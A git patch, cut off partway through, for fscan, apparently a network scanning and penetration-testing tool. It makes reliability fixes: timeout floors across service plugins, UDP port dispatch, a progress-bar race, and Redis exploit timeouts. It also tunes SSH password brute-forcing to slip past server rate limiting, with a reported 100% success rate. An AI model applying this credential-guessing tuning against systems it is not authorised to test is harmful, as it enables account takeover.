=?UTF-8?q?fix:=20=E4=BF=AE=E5=A4=8D=E5=AE=9E?= =?UTF-8?q?=E6=9C=BA=E6=B5=8B=E8=AF=95=E5=8F=91=E7=8E=B0=E7=9A=84=E5=8F=AF?= =?UTF-8?q?=E9=9D=A0=E6=80=A7=E9=97=AE=E9=A2=98=20(v2.2.0-rc.1)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - UDP 插件在 -p 指定端口时被跳过 - Redis exploit 无超时保护 / readReply 吞没非超时错误 - service_probe 连接丢失后静默成功 - SNMP 探测成功但终端无输出 - SSH 爆破不稳定 (并发过高 + 自适应超时过短 + 限流误判) - 进度条 isActive 竞态 新增 Config.ModuleTimeout() 协议级超时下限 (≥3s) 新增 ErrorTypeThrottle 限流错误分类 --- .github/release-notes/v2.2.0-rc.1.md | 47 +++++++++++++++++++ common/config_struct.go | 11 +++++ common/globals.go | 2 +- common/progress_manager.go | 18 ++++---- core/service_probe.go | 6 ++- core/service_scanner.go | 19 ++++++-- core/web_scanner.go | 39 ++++------------ core/web_scanner_test.go | 6 +-- plugins/services/activemq.go | 6 +-- plugins/services/bacnet.go | 2 +- plugins/services/cassandra.go | 9 ++-- plugins/services/credential_tester.go | 20 ++++---- plugins/services/dns.go | 2 +- plugins/services/dnstcp.go | 2 +- plugins/services/elasticsearch.go | 2 +- plugins/services/findnet.go | 4 +- plugins/services/ftp.go | 6 +-- plugins/services/imap.go | 2 +- plugins/services/ipmi.go | 66 +-------------------------- plugins/services/jdwp.go | 2 +- plugins/services/kafka.go | 4 +- plugins/services/ldap.go | 4 +- plugins/services/memcached.go | 6 +-- plugins/services/modbus.go | 2 +- plugins/services/mongodb.go | 12 ++--- plugins/services/mqtt.go | 2 +- plugins/services/ms17010.go | 4 +- plugins/services/mssql.go | 8 ++-- plugins/services/mysql.go | 6 +-- plugins/services/neo4j.go | 6 +-- plugins/services/netbios.go | 8 ++-- plugins/services/nfs.go | 2 +- plugins/services/oracle.go | 6 +-- plugins/services/pop3.go | 2 +- plugins/services/postgresql.go | 18 ++++---- plugins/services/rabbitmq.go | 10 ++-- plugins/services/rdp.go | 4 +- plugins/services/redis.go | 26 +++++++---- plugins/services/rmi.go | 2 +- plugins/services/rsync.go | 6 +-- plugins/services/smb.go | 8 ++-- plugins/services/smtp.go | 20 ++++---- plugins/services/snmp.go | 7 ++- plugins/services/ssh.go | 56 ++++++++++++++++++----- plugins/services/telnet.go | 18 ++++---- plugins/services/tftp.go | 2 +- plugins/services/vnc.go | 4 +- plugins/services/zookeeper.go | 2 +- webscan/fingerprint/enhanced.go | 8 +++- webscan/lib/eval_string.go | 4 +- webscan/lib/poc_executor.go | 4 +- 51 files changed, 285 insertions(+), 257 deletions(-) create mode 100644 .github/release-notes/v2.2.0-rc.1.md diff --git a/.github/release-notes/v2.2.0-rc.1.md b/.github/release-notes/v2.2.0-rc.1.md new file mode 100644 index 0000000..222efe9 --- /dev/null +++ b/.github/release-notes/v2.2.0-rc.1.md @@ -0,0 +1,47 @@ +# fscan v2.2.0-rc.1 + +> ⚠️ **这是预发布版本 (Release Candidate)**,可能存在未发现的问题。 +> 如果你在使用中遇到任何异常,请积极通过 [Issue](https://github.com/shadow1ng/fscan/issues/new/choose) 反馈,帮助我们尽快稳定正式版。 +> 生产环境建议继续使用 [v2.1.3](https://github.com/shadow1ng/fscan/releases/tag/v2.1.3)。 + +--- + +## 与 v2.2.0-rc 的变更 + +本版本聚焦**实机测试发现的可靠性问题修复**,无新功能。 + +### 🐛 Bug 修复 + +- **UDP 插件在 `-p` 指定端口时被跳过** — 用户指定 `-p 53,161` 等包含 UDP 端口时,DNS/SNMP 等 UDP 插件不会执行。现在按用户指定的端口过滤并正确调度 +- **Redis exploit 操作无超时保护** — exploit 阶段移除了全部 deadline,服务端卡滞时 goroutine 永久阻塞。现在设置 30s 操作超时 +- **Redis readReply 吞没非超时错误** — 只要读到任何数据就忽略所有错误,可能返回截断响应。现在仅对 timeout 类型错误做容忍 +- **service_probe 连接丢失后静默成功** — Write/Read 在 Conn=nil 时返回 nil 而非错误,导致后续探测静默跳过。现在返回明确的 errConnLost +- **SNMP 探测成功但终端无输出** — SNMP 插件缺少 `session.LogVuln` 调用,成功结果只写入文件不在终端显示 + +### ⚡ 可靠性改善 + +- **协议级超时下限(ModuleTimeout)** — 新增 `Config.ModuleTimeout()` 方法,保证插件级交互超时不低于 3s。自适应系统将端口扫描超时压到 1s 时,SSH 握手/SNMP 探测/数据库认证等多轮交互协议不再受影响。全部 44 个服务插件已迁移 +- **SSH 爆破并发优化** — SSH 并发从 30 降至 3,避免触发 OpenSSH MaxStartups 限流导致大量连接被丢弃 +- **SSH 限流错误分类(ErrorTypeThrottle)** — 新增限流错误类型,区分服务端限流(MaxStartups)和真正的网络不可达。限流错误不计入连续失败计数,仅触发 500ms 退避后继续,避免误判目标不可达而提前放弃 +- **SSH 握手 TCP deadline** — 在 SSH NewClientConn 前设置 TCP 级别 deadline 兜底整个握手过程,握手成功后清除 +- **进度条竞态修复** — `ProgressManager.isActive` 从 `bool` 改为 `atomic.Bool`,消除 UpdateProgress 与 FinishProgress 之间的数据竞态 +- **gmtls stdout 竞态修复** — 移除 `suppressGMTLSStdout` 中对 `os.Stdout` 的非同步重定向,消除与 gmtls 内部 goroutine 的数据竞态 +- **Lint 清理** — 修复 cassandra/ipmi/mongodb/webscan 中的 ineffassign、unused、errcheck 问题 + +### 📊 实测验证 + +| 指标 | v2.2.0-rc | v2.2.0-rc.1 | +|------|-----------|-------------| +| SSH `-m ssh` 爆破成功率 | ~60% | 100% (10/10) | +| SNMP `-p 161` 终端输出 | ✗ 不显示 | ✓ 正常 | +| UDP 插件 `-p` 指定端口 | ✗ 跳过 | ✓ 正确调度 | +| Redis exploit 超时保护 | ✗ 无 | ✓ 30s | + +--- + +## 反馈与贡献 + +- 🐛 发现 Bug → [提交 Bug 报告](https://github.com/shadow1ng/fscan/issues/new?template=bug_report.yml) +- 🎯 结果不准 → [提交误报/漏报](https://github.com/shadow1ng/fscan/issues/new?template=false_positive.yml) +- ✨ 功能建议 → [提交功能请求](https://github.com/shadow1ng/fscan/issues/new?template=feature_request.yml) +- 💬 使用疑问 → [Discussions](https://github.com/shadow1ng/fscan/discussions) diff --git a/common/config_struct.go b/common/config_struct.go index 48fec0d..87d13ba 100644 --- a/common/config_struct.go +++ b/common/config_struct.go @@ -179,6 +179,17 @@ func clonePortMap(values map[int][]string) map[int][]string { return cloned } +const minModuleTimeout = 3 * time.Second + +// ModuleTimeout 返回插件级超时(用于弱口令测试、服务交互等多轮协议) +// 保证下限 3s,避免自适应把端口扫描超时压低后影响 SSH/SNMP 等交互型协议 +func (c *Config) ModuleTimeout() time.Duration { + if c.Timeout >= minModuleTimeout { + return c.Timeout + } + return minModuleTimeout +} + // NewConfig 创建带默认值的Config(后备用,正常流程使用BuildConfigFromFlags) func NewConfig() *Config { return &Config{ diff --git a/common/globals.go b/common/globals.go index 2500645..7a1626c 100644 --- a/common/globals.go +++ b/common/globals.go @@ -69,7 +69,7 @@ const ( // 版本信息,通过 ldflags 注入 var ( - version = "2.2.0-rc" + version = "2.2.0-rc.1" commit = "unknown" date = "unknown" ) diff --git a/common/progress_manager.go b/common/progress_manager.go index a69a47b..e79f7d7 100644 --- a/common/progress_manager.go +++ b/common/progress_manager.go @@ -32,7 +32,7 @@ type ProgressManager struct { current atomic.Int64 description string startTime time.Time - isActive bool + isActive atomic.Bool terminalHeight int reservedLines int // 为进度条保留的行数 lastContentLine int // 最后一行内容的位置 @@ -121,7 +121,7 @@ func (pm *ProgressManager) InitProgress(total int64, description string) { pm.current.Store(0) pm.description = description pm.startTime = time.Now() - pm.isActive = true + pm.isActive.Store(true) pm.enabled = true pm.lastActivity = time.Now() pm.spinnerIndex = 0 @@ -139,7 +139,7 @@ func (pm *ProgressManager) InitProgress(total int64, description string) { // UpdateProgress 更新进度 func (pm *ProgressManager) UpdateProgress(increment int64) { - if !pm.enabled || !pm.isActive { + if !pm.enabled || !pm.isActive.Load() { return } @@ -171,7 +171,7 @@ func (pm *ProgressManager) UpdateProgress(increment int64) { // FinishProgress 完成进度条 func (pm *ProgressManager) FinishProgress() { - if !pm.enabled || !pm.isActive { + if !pm.enabled || !pm.isActive.Load() { return } @@ -189,7 +189,7 @@ func (pm *ProgressManager) FinishProgress() { // 清理进度条区域,恢复正常输出 pm.clearProgressArea() - pm.isActive = false + pm.isActive.Store(false) } // setupProgressSpace 设置进度条空间 @@ -342,7 +342,7 @@ func (pm *ProgressManager) clearProgressArea() { func (pm *ProgressManager) IsActive() bool { pm.mu.RLock() defer pm.mu.RUnlock() - return pm.isActive && pm.enabled + return pm.isActive.Load() && pm.enabled } // getTerminalHeight 获取终端高度 @@ -479,7 +479,7 @@ func (pm *ProgressManager) GetPercent() float64 { pm.mu.RLock() defer pm.mu.RUnlock() - if !pm.isActive || pm.total.Load() == 0 { + if !pm.isActive.Load() || pm.total.Load() == 0 { return 0 } return float64(pm.current.Load()) / float64(pm.total.Load()) * 100 @@ -517,7 +517,7 @@ func LogWithProgress(message string) { // renderProgressUnsafe 不加锁的进度条渲染(内部使用) func (pm *ProgressManager) renderProgressUnsafe() { - if !pm.enabled || !pm.isActive { + if !pm.enabled || !pm.isActive.Load() { return } @@ -586,7 +586,7 @@ func (pm *ProgressManager) startActivityIndicator() { select { case <-pm.activityTicker.C: // 只有在活跃状态下才更新指示器 - if pm.isActive && pm.enabled { + if pm.isActive.Load() && pm.enabled { pm.mu.Lock() pm.spinnerIndex = (pm.spinnerIndex + 1) % len(spinnerChars) pm.mu.Unlock() diff --git a/core/service_probe.go b/core/service_probe.go index f201cc2..693bbe0 100644 --- a/core/service_probe.go +++ b/core/service_probe.go @@ -21,6 +21,8 @@ const ( defaultIntensity = 7 // 默认探测强度 (1-9) ) +var errConnLost = errors.New("connection lost and reconnect failed") + // sslSecondProbes SSL服务二次探测的探针名称 var sslSecondProbes = []string{"TerminalServerCookie", "TerminalServer"} @@ -527,7 +529,7 @@ var defaultReadTimeoutMS = WrTimeout * 1000 // Write 写入数据到连接 func (i *Info) Write(msg []byte) error { if i.Conn == nil { - return nil + return errConnLost } // 设置写入超时 @@ -570,7 +572,7 @@ func (i *Info) Write(msg []byte) error { // Read 从连接读取响应 func (i *Info) Read() ([]byte, error) { if i.Conn == nil { - return nil, nil + return nil, errConnLost } // 设置读取超时(使用动态超时) diff --git a/core/service_scanner.go b/core/service_scanner.go index 460dc2e..320f271 100644 --- a/core/service_scanner.go +++ b/core/service_scanner.go @@ -186,10 +186,8 @@ func (s *ServiceScanStrategy) performHostScan(ctx context.Context, session *comm ep.TuneConfig(config, session) } - // 仅在默认端口扫描时调度 UDP 插件(用户指定 -p 时跳过,避免不相关的 UDP 探测拖慢扫描) - if config.Target.Ports == "" || config.Target.Ports == "all" { - s.dispatchUDPPlugins(ctx, session, hosts, info, config, ch, wg) - } + // UDP 插件调度:默认端口模式全量调度,用户指定 -p 时只调度端口有交集的 UDP 插件 + s.dispatchUDPPlugins(ctx, session, hosts, info, config, ch, wg) s.scanHostBatch(ctx, session, hosts, info, pluginsToRun, isCustomMode, ch, wg) } @@ -271,9 +269,22 @@ func (s *ServiceScanStrategy) dispatchUDPPlugins(ctx context.Context, session *c return } + // 用户指定 -p 时,只调度端口有交集的 UDP 插件 + var userPorts map[int]bool + if config.Target.Ports != "" && config.Target.Ports != "all" { + parsed := parsers.ParsePort(config.Target.Ports) + userPorts = make(map[int]bool, len(parsed)) + for _, p := range parsed { + userPorts[p] = true + } + } + for _, host := range hosts { for _, pluginName := range udpPlugins { for _, port := range plugins.GetPluginPorts(pluginName) { + if userPorts != nil && !userPorts[port] { + continue + } target := baseInfo target.Host = host target.Port = port diff --git a/core/web_scanner.go b/core/web_scanner.go index e3b2236..24e372b 100644 --- a/core/web_scanner.go +++ b/core/web_scanner.go @@ -7,7 +7,6 @@ import ( "net" "net/http" "net/url" - "os" "strconv" "strings" "sync" @@ -58,17 +57,14 @@ func DetectHTTPSchemeContext(ctx context.Context, host string, port int, config } // 第二步:尝试国密TLS握手(GM TLS fallback) - // 抑制 gmtls 库的 fmt.Println("handshake error") 噪声输出 - gmConn, gmErr := suppressGMTLSStdout(func() (net.Conn, error) { - return gmtls.DialWithDialer( - tlsDialer, - "tcp", addr, - &gmtls.Config{ - GMSupport: gmtls.NewGMSupport(), - InsecureSkipVerify: true, - }, - ) - }) + gmConn, gmErr := gmtls.DialWithDialer( + tlsDialer, + "tcp", addr, + &gmtls.Config{ + GMSupport: gmtls.NewGMSupport(), + InsecureSkipVerify: true, + }, + ) if gmErr == nil { _ = gmConn.Close() @@ -503,22 +499,3 @@ func hasMalformedURLPort(host string) bool { return strings.Contains(host, ":") } -// suppressGMTLSStdout 抑制 gmtls 库硬编码的 fmt.Println("handshake error") 输出 -// gmtls/conn.go:1304 在握手失败时直接 Println 到 os.Stdout,无法通过 API 关闭 -var gmtlsStdoutMu sync.Mutex - -func suppressGMTLSStdout(fn func() (net.Conn, error)) (net.Conn, error) { - gmtlsStdoutMu.Lock() - orig := os.Stdout - devNull, err := os.OpenFile(os.DevNull, os.O_WRONLY, 0) - if err == nil { - os.Stdout = devNull - } - conn, dialErr := fn() - os.Stdout = orig - if devNull != nil { - _ = devNull.Close() - } - gmtlsStdoutMu.Unlock() - return conn, dialErr -} diff --git a/core/web_scanner_test.go b/core/web_scanner_test.go index 1fb4e7d..ec07d66 100644 --- a/core/web_scanner_test.go +++ b/core/web_scanner_test.go @@ -708,12 +708,8 @@ func TestIsWebServiceByFingerprint_Priority(t *testing.T) { // TestDetectHTTPScheme 测试HTTP/HTTPS协议智能检测 func TestDetectHTTPScheme(t *testing.T) { - // 设置WebTimeout避免测试超时 - cfg := common.GetGlobalConfig() - oldTimeout := cfg.Network.WebTimeout + cfg := common.NewConfig() cfg.Network.WebTimeout = 2 * time.Second - defer func() { cfg.Network.WebTimeout = oldTimeout }() - session := common.NewScanSession(cfg, common.NewState(), common.GetFlagVars()) t.Run("HTTPS服务器检测", func(t *testing.T) { diff --git a/plugins/services/activemq.go b/plugins/services/activemq.go index b1da128..572d58b 100644 --- a/plugins/services/activemq.go +++ b/plugins/services/activemq.go @@ -72,7 +72,7 @@ func (p *ActiveMQPlugin) createAuthFunc(info *common.HostInfo, session *common.S func (p *ActiveMQPlugin) doActiveMQAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult { target := info.Target() config := session.Config - timeout := config.Timeout + timeout := config.ModuleTimeout() resultChan := make(chan *AuthResult, 1) @@ -157,7 +157,7 @@ func classifyActiveMQErrorType(err error) ErrorType { // authenticateSTOMP 使用STOMP协议认证ActiveMQ func (p *ActiveMQPlugin) authenticateSTOMP(conn net.Conn, username, password string, config *common.Config) (bool, error) { - timeout := config.Timeout + timeout := config.ModuleTimeout() if err := rejectLineBreaks(username, password); err != nil { return false, err } @@ -202,7 +202,7 @@ func (p *ActiveMQPlugin) authenticateSTOMP(conn net.Conn, username, password str // identifyService ActiveMQ服务识别 func (p *ActiveMQPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() - timeout := session.Config.Timeout + timeout := session.Config.ModuleTimeout() conn, err := session.DialTCP(ctx, "tcp", target, timeout) if err != nil { diff --git a/plugins/services/bacnet.go b/plugins/services/bacnet.go index 1b07456..6bd0913 100644 --- a/plugins/services/bacnet.go +++ b/plugins/services/bacnet.go @@ -22,7 +22,7 @@ func NewBACnetPlugin() *BACnetPlugin { } func (p *BACnetPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { - timeout := session.Config.Timeout + timeout := session.Config.ModuleTimeout() if timeout <= 0 { timeout = 3 * time.Second } diff --git a/plugins/services/cassandra.go b/plugins/services/cassandra.go index 545757c..2e8a14c 100644 --- a/plugins/services/cassandra.go +++ b/plugins/services/cassandra.go @@ -88,7 +88,7 @@ const ( func (p *CassandraPlugin) doCassandraAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { addr := info.Target() - timeout := config.Timeout + timeout := config.ModuleTimeout() dialer := net.Dialer{Timeout: timeout} conn, err := dialer.DialContext(ctx, "tcp", addr) @@ -270,7 +270,7 @@ func (p *CassandraPlugin) tryNoAuthConnection(ctx context.Context, info *common. state := session.State target := info.Target() addr := info.Target() - timeout := config.Timeout + timeout := config.ModuleTimeout() dialer := net.Dialer{Timeout: timeout} conn, err := dialer.DialContext(ctx, "tcp", addr) @@ -286,7 +286,7 @@ func (p *CassandraPlugin) tryNoAuthConnection(ctx context.Context, info *common. state.IncrementTCPFailedPacketCount() return nil } - opcode, body, err := cqlRecv(conn) + opcode, _, err := cqlRecv(conn) if err != nil || opcode != cqlOpReady { return nil } @@ -296,6 +296,7 @@ func (p *CassandraPlugin) tryNoAuthConnection(ctx context.Context, info *common. if err := cqlSend(conn, cqlOpQuery, queryBody); err != nil { return nil } + var body []byte opcode, body, err = cqlRecv(conn) if err != nil { return nil @@ -321,7 +322,7 @@ func (p *CassandraPlugin) identifyService(ctx context.Context, info *common.Host state := session.State target := info.Target() addr := info.Target() - timeout := config.Timeout + timeout := config.ModuleTimeout() dialer := net.Dialer{Timeout: timeout} conn, err := dialer.DialContext(ctx, "tcp", addr) diff --git a/plugins/services/credential_tester.go b/plugins/services/credential_tester.go index f377e67..27844a7 100644 --- a/plugins/services/credential_tester.go +++ b/plugins/services/credential_tester.go @@ -37,9 +37,10 @@ credential_tester.go - 统一凭据测试框架 type ErrorType int const ( - ErrorTypeAuth ErrorType = iota // 认证错误 - 密码错误,不重试 - ErrorTypeNetwork // 网络错误 - 连接问题,可重试 - ErrorTypeUnknown // 未知错误 + ErrorTypeAuth ErrorType = iota // 认证错误 - 密码错误,不重试 + ErrorTypeNetwork // 网络错误 - 连接不可达,可重试但计入连续失败 + ErrorTypeThrottle // 限流错误 - 服务端拒绝连接(MaxStartups等),退避后重试,不计入连续失败 + ErrorTypeUnknown // 未知错误 ) // ============================================================================= @@ -321,10 +322,13 @@ func workerTestCredentials( return } - // 跟踪连续网络错误 - if errType == ErrorTypeNetwork { + // 跟踪连续网络错误(限流错误不计入,只做短暂退避) + switch errType { + case ErrorTypeNetwork: consecutiveNetErrors++ - } else { + case ErrorTypeThrottle: + time.Sleep(500 * time.Millisecond) + default: consecutiveNetErrors = 0 } } @@ -374,8 +378,8 @@ func testCredentialWithRetry( case ErrorTypeAuth: // 认证错误(密码错误),不重试 return nil, result.ErrorType - case ErrorTypeNetwork, ErrorTypeUnknown: - // 网络错误或未知错误,可以重试(可能是服务端限流等临时问题) + case ErrorTypeNetwork, ErrorTypeThrottle, ErrorTypeUnknown: + // 网络/限流/未知错误,可以重试 if attempt < testConfig.MaxRetries-1 { timer := time.NewTimer(testConfig.RetryDelay) select { diff --git a/plugins/services/dns.go b/plugins/services/dns.go index 61c8373..f80fed8 100644 --- a/plugins/services/dns.go +++ b/plugins/services/dns.go @@ -19,7 +19,7 @@ func NewDNSPlugin() *DNSPlugin { } func (p *DNSPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { - timeout := session.Config.Timeout + timeout := session.Config.ModuleTimeout() if timeout <= 0 { timeout = 3 * time.Second } diff --git a/plugins/services/dnstcp.go b/plugins/services/dnstcp.go index db5a963..8d24bac 100644 --- a/plugins/services/dnstcp.go +++ b/plugins/services/dnstcp.go @@ -21,7 +21,7 @@ func NewDNSTCPPlugin() *DNSTCPPlugin { } func (p *DNSTCPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { - timeout := session.Config.Timeout + timeout := session.Config.ModuleTimeout() if timeout <= 0 { timeout = 3 * time.Second } diff --git a/plugins/services/elasticsearch.go b/plugins/services/elasticsearch.go index 86f71cb..500174d 100644 --- a/plugins/services/elasticsearch.go +++ b/plugins/services/elasticsearch.go @@ -76,7 +76,7 @@ func (p *ElasticsearchPlugin) Scan(ctx context.Context, info *common.HostInfo, s func (p *ElasticsearchPlugin) testCredential(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) bool { config := session.Config client := &http.Client{ - Timeout: config.Timeout, + Timeout: config.ModuleTimeout(), Transport: &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, }, diff --git a/plugins/services/findnet.go b/plugins/services/findnet.go index ae2fe7c..40de88c 100644 --- a/plugins/services/findnet.go +++ b/plugins/services/findnet.go @@ -50,7 +50,7 @@ func (p *FindNetPlugin) Scan(ctx context.Context, info *common.HostInfo, session } } - conn, err := session.DialTCP(ctx, "tcp", target, config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, config.ModuleTimeout()) if err != nil { return &ScanResult{ Success: false, @@ -61,7 +61,7 @@ func (p *FindNetPlugin) Scan(ctx context.Context, info *common.HostInfo, session defer func() { _ = conn.Close() }() // 设置超时 - _ = conn.SetDeadline(time.Now().Add(config.Timeout)) + _ = conn.SetDeadline(time.Now().Add(config.ModuleTimeout())) // 执行RPC网络发现 networkInfo, err := p.performNetworkDiscovery(conn) diff --git a/plugins/services/ftp.go b/plugins/services/ftp.go index 0b85fec..53b1f9d 100644 --- a/plugins/services/ftp.go +++ b/plugins/services/ftp.go @@ -81,7 +81,7 @@ func (p *FTPPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, func (p *FTPPlugin) doFTPAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { target := info.Target() - conn, err := ftplib.Dial(target, ftpDialOptions(ctx, config.Timeout)...) + conn, err := ftplib.Dial(target, ftpDialOptions(ctx, config.ModuleTimeout())...) if err != nil { state.IncrementTCPFailedPacketCount() return &AuthResult{ @@ -162,7 +162,7 @@ func (p *FTPPlugin) identifyService(info *common.HostInfo, session *common.ScanS state := session.State target := info.Target() - conn, err := ftplib.Dial(target, ftplib.DialWithTimeout(config.Timeout)) + conn, err := ftplib.Dial(target, ftplib.DialWithTimeout(config.ModuleTimeout())) if err != nil { state.IncrementTCPFailedPacketCount() return &ScanResult{ @@ -241,7 +241,7 @@ func (p *FTPPlugin) testAnonymousAccess(ctx context.Context, info *common.HostIn func (p *FTPPlugin) getFileListAfterAuth(info *common.HostInfo, username, password string, config *common.Config, state *common.State) []string { target := info.Target() - conn, err := ftplib.Dial(target, ftplib.DialWithTimeout(config.Timeout)) + conn, err := ftplib.Dial(target, ftplib.DialWithTimeout(config.ModuleTimeout())) if err != nil { return nil } diff --git a/plugins/services/imap.go b/plugins/services/imap.go index 758ff99..a028144 100644 --- a/plugins/services/imap.go +++ b/plugins/services/imap.go @@ -22,7 +22,7 @@ func NewIMAPPlugin() *IMAPPlugin { func (p *IMAPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { config := session.Config - timeout := config.Timeout + timeout := config.ModuleTimeout() if timeout <= 0 { timeout = 3 * time.Second } diff --git a/plugins/services/ipmi.go b/plugins/services/ipmi.go index 8b1b5a0..c07109d 100644 --- a/plugins/services/ipmi.go +++ b/plugins/services/ipmi.go @@ -20,7 +20,7 @@ func NewIPMIPlugin() *IPMIPlugin { } func (p *IPMIPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { - timeout := session.Config.Timeout + timeout := session.Config.ModuleTimeout() if timeout <= 0 { timeout = 3 * time.Second } @@ -60,8 +60,6 @@ func (p *IPMIPlugin) rmcpPing(ctx context.Context, target string, timeout time.D } } - // getChannelAuth 需要独立连接,暂不执行(核心检测已完成) - return &ScanResult{ Success: true, Type: plugins.ResultTypeVuln, @@ -71,68 +69,6 @@ func (p *IPMIPlugin) rmcpPing(ctx context.Context, target string, timeout time.D } } -func (p *IPMIPlugin) getChannelAuth(conn interface { - Read([]byte) (int, error) - Write([]byte) (int, error) - SetDeadline(time.Time) error -}) string { - _ = conn.SetDeadline(time.Now().Add(2 * time.Second)) - - // IPMI Get Channel Authentication Capabilities - // RMCP header + IPMI session wrapper + message - pkt := []byte{ - 0x06, 0x00, 0xff, 0x07, // RMCP: version, reserved, seq=0xff, class=IPMI - 0x00, 0x00, 0x00, 0x00, // auth type = none - 0x00, 0x00, 0x00, 0x00, // session seq - 0x00, 0x00, 0x00, 0x00, // session id - 0x09, // message length - 0x20, // target = BMC - 0x18, // netFn=App(6) << 2 | lun=0 - 0xc8, // checksum - 0x81, // source - 0x00, // seq - 0x38, // cmd = Get Channel Auth Capabilities - 0x8e, // channel=14 (current), IPMI v2.0 - 0x04, // privilege = Administrator - 0xb5, // checksum - } - - if _, err := conn.Write(pkt); err != nil { - return "" - } - - buf := make([]byte, 512) - n, err := conn.Read(buf) - if err != nil || n < 30 { - return "" - } - - // Parse auth capabilities from response - if n >= 27 { - authTypes := buf[22] - var methods []string - if authTypes&0x01 != 0 { - methods = append(methods, "none") - } - if authTypes&0x02 != 0 { - methods = append(methods, "md2") - } - if authTypes&0x04 != 0 { - methods = append(methods, "md5") - } - if authTypes&0x10 != 0 { - methods = append(methods, "password") - } - if authTypes&0x20 != 0 { - methods = append(methods, "oem") - } - if len(methods) > 0 { - return fmt.Sprintf("[auth: %v]", methods) - } - } - return "" -} - func init() { RegisterUDPPluginWithPorts("ipmi", func() Plugin { return NewIPMIPlugin() diff --git a/plugins/services/jdwp.go b/plugins/services/jdwp.go index 4d44e47..f625f20 100644 --- a/plugins/services/jdwp.go +++ b/plugins/services/jdwp.go @@ -23,7 +23,7 @@ func NewJDWPPlugin() *JDWPPlugin { } func (p *JDWPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { - timeout := session.Config.Timeout + timeout := session.Config.ModuleTimeout() if timeout <= 0 { timeout = 3 * time.Second } diff --git a/plugins/services/kafka.go b/plugins/services/kafka.go index 85719be..1e5af2d 100644 --- a/plugins/services/kafka.go +++ b/plugins/services/kafka.go @@ -67,7 +67,7 @@ func (p *KafkaPlugin) createAuthFunc(info *common.HostInfo, config *common.Confi func (p *KafkaPlugin) doKafkaAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { target := info.Target() - timeout := config.Timeout + timeout := config.ModuleTimeout() dialer := net.Dialer{Timeout: timeout} conn, err := dialer.DialContext(ctx, "tcp", target) @@ -242,7 +242,7 @@ func (p *KafkaPlugin) identifyService(ctx context.Context, info *common.HostInfo config := session.Config state := session.State target := info.Target() - timeout := config.Timeout + timeout := config.ModuleTimeout() dialer := net.Dialer{Timeout: timeout} conn, err := dialer.DialContext(ctx, "tcp", target) diff --git a/plugins/services/ldap.go b/plugins/services/ldap.go index 8bbb264..1d62ef2 100644 --- a/plugins/services/ldap.go +++ b/plugins/services/ldap.go @@ -210,7 +210,7 @@ func (p *LDAPPlugin) connectLDAP(ctx context.Context, info *common.HostInfo, ses resultChan := make(chan result, 1) go func() { - tcpConn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) + tcpConn, err := session.DialTCP(ctx, "tcp", target, session.Config.ModuleTimeout()) if err != nil { resultChan <- result{nil, err} return @@ -222,7 +222,7 @@ func (p *LDAPPlugin) connectLDAP(ctx context.Context, info *common.HostInfo, ses } else { conn = ldaplib.NewConn(tcpConn, false) } - conn.SetTimeout(session.Config.Timeout) + conn.SetTimeout(session.Config.ModuleTimeout()) conn.Start() resultChan <- result{conn, nil} diff --git a/plugins/services/memcached.go b/plugins/services/memcached.go index e91b4ee..fd5874d 100644 --- a/plugins/services/memcached.go +++ b/plugins/services/memcached.go @@ -68,7 +68,7 @@ func (p *MemcachedPlugin) testUnauthorizedAccess(ctx context.Context, info *comm func (p *MemcachedPlugin) connectToMemcached(ctx context.Context, info *common.HostInfo, session *common.ScanSession) net.Conn { target := info.Target() - timeout := session.Config.Timeout + timeout := session.Config.ModuleTimeout() connChan := make(chan net.Conn, 1) @@ -97,12 +97,12 @@ func (p *MemcachedPlugin) connectToMemcached(ctx context.Context, info *common.H } func (p *MemcachedPlugin) testBasicCommand(conn net.Conn, config *common.Config) bool { - _ = conn.SetWriteDeadline(time.Now().Add(config.Timeout)) + _ = conn.SetWriteDeadline(time.Now().Add(config.ModuleTimeout())) if _, err := conn.Write([]byte("version\r\n")); err != nil { return false } - _ = conn.SetReadDeadline(time.Now().Add(config.Timeout)) + _ = conn.SetReadDeadline(time.Now().Add(config.ModuleTimeout())) response := make([]byte, 1024) n, err := conn.Read(response) if err != nil { diff --git a/plugins/services/modbus.go b/plugins/services/modbus.go index 38e6891..0e27fe6 100644 --- a/plugins/services/modbus.go +++ b/plugins/services/modbus.go @@ -21,7 +21,7 @@ func NewModbusPlugin() *ModbusPlugin { } func (p *ModbusPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { - timeout := session.Config.Timeout + timeout := session.Config.ModuleTimeout() if timeout <= 0 { timeout = 3 * time.Second } diff --git a/plugins/services/mongodb.go b/plugins/services/mongodb.go index afc5456..f61fedc 100644 --- a/plugins/services/mongodb.go +++ b/plugins/services/mongodb.go @@ -91,7 +91,7 @@ func (p *MongoDBPlugin) createAuthFunc(info *common.HostInfo, config *common.Con func (p *MongoDBPlugin) doMongoDBAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { addr := info.Target() - timeout := config.Timeout + timeout := config.ModuleTimeout() conn, err := dialTCP(ctx, addr, timeout) if err != nil { @@ -369,6 +369,7 @@ type mongoCommandReply struct { errmsg string } +//nolint:gocyclo func parseMongoCommandReply(doc []byte) (mongoCommandReply, error) { var reply mongoCommandReply if len(doc) < 5 { @@ -557,11 +558,6 @@ func dialTCP(ctx context.Context, addr string, 